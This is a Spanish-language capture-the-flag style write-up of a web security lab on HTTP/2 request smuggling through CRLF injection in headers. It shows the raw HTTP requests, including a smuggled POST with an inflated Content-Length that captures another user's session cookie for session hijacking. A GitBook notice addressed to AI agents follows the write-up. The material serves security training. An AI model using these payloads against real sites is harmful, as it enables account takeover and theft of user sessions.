> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md).

# Contrabando de solicitudes HTTP/2 mediante inyección CRLF

### Contrabando de solicitudes HTTP/2 mediante inyección CRLF

Este laboratorio es vulnerable al contrabando de solicitudes porque el servidor frontal convierte las solicitudes HTTP/2 a HTTP/1 y no limpia correctamente algunas cabeceras entrantes.

El objetivo es explotar un vector de contrabando específico de HTTP/2 para acceder a la cuenta de otro usuario. La víctima visita la página de inicio cada 15 segundos.

<figure><img src="/files/b1990379365cb7bb291927175c0fdd0d8df442f9" alt=""><figcaption></figcaption></figure>

Se observa que la aplicación mantiene un historial de búsqueda, que está vinculado directamente a la cookie de sesión.

<figure><img src="/files/852a9104152762c3b750b7b5ddd42c1807c82bc6" alt=""><figcaption></figcaption></figure>

Comenzamos enviando una solicitud de prueba, pero no aparece ningún comportamiento anómalo

```http
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Content-Length: 18

test=testing
```

La inspección muestra que la validación de las cabeceras relacionadas con **Transfer-Encoding** es insuficiente. / Así que intentamos eludir el filtrado: eliminación del original `chunked` y la adición de una nueva cabecera arbitraria en HTTP/2.

```http
Transfer-Encoding: chunked
```

Burp añade:

```http
Nombre:
test
Valor:
test
Transfer-Encoding: chunked
```

<figure><img src="/files/e6865c45bd7e3742a33afd2b1e03316e3d44b3e5" alt="" width="358"><figcaption></figcaption></figure>

El servidor acepta la modificación, lo que confirma una mala sanitización de las cabeceras.

<figure><img src="/files/5575aeb49e2fc125195ee60c84571e818d3d19d8" alt=""><figcaption></figcaption></figure>

La idea es inducir a la víctima a **realizar una solicitud de búsqueda que contenga nuestra propia cookie de sesión**, mientras inyectamos un excesivo **Content-Length** para que su siguiente solicitud se concatene con la nuestra.

Carga útil contrabandeada :

```http
0

POST / HTTP/1.1
Host: 0ad200fd030e8566803cd541002300e6.web-security-academy.net
Cookie: session=Vfo5XHvHSzPQIuPLitJnpePRWRlNbkaW;
Content-Length: 850

search=x
```

Cuando el servidor procesa la siguiente solicitud —la de la víctima—, su contenido aparece en nuestra respuesta, integrando **sus cabeceras y, en particular, su cookie de sesión**.

<figure><img src="/files/3c9a1f232d4168b67714a1dd7e40677203f5cad0" alt=""><figcaption></figcaption></figure>

Así que podemos **secuestrar la sesión del usuario** y acceder a su cuenta.

<figure><img src="/files/c652fab49fcbfe8e78d768bf4d2745fa6e9a72bd" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/request-smuggling/http-2-request-smuggling-via-crlf-injection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
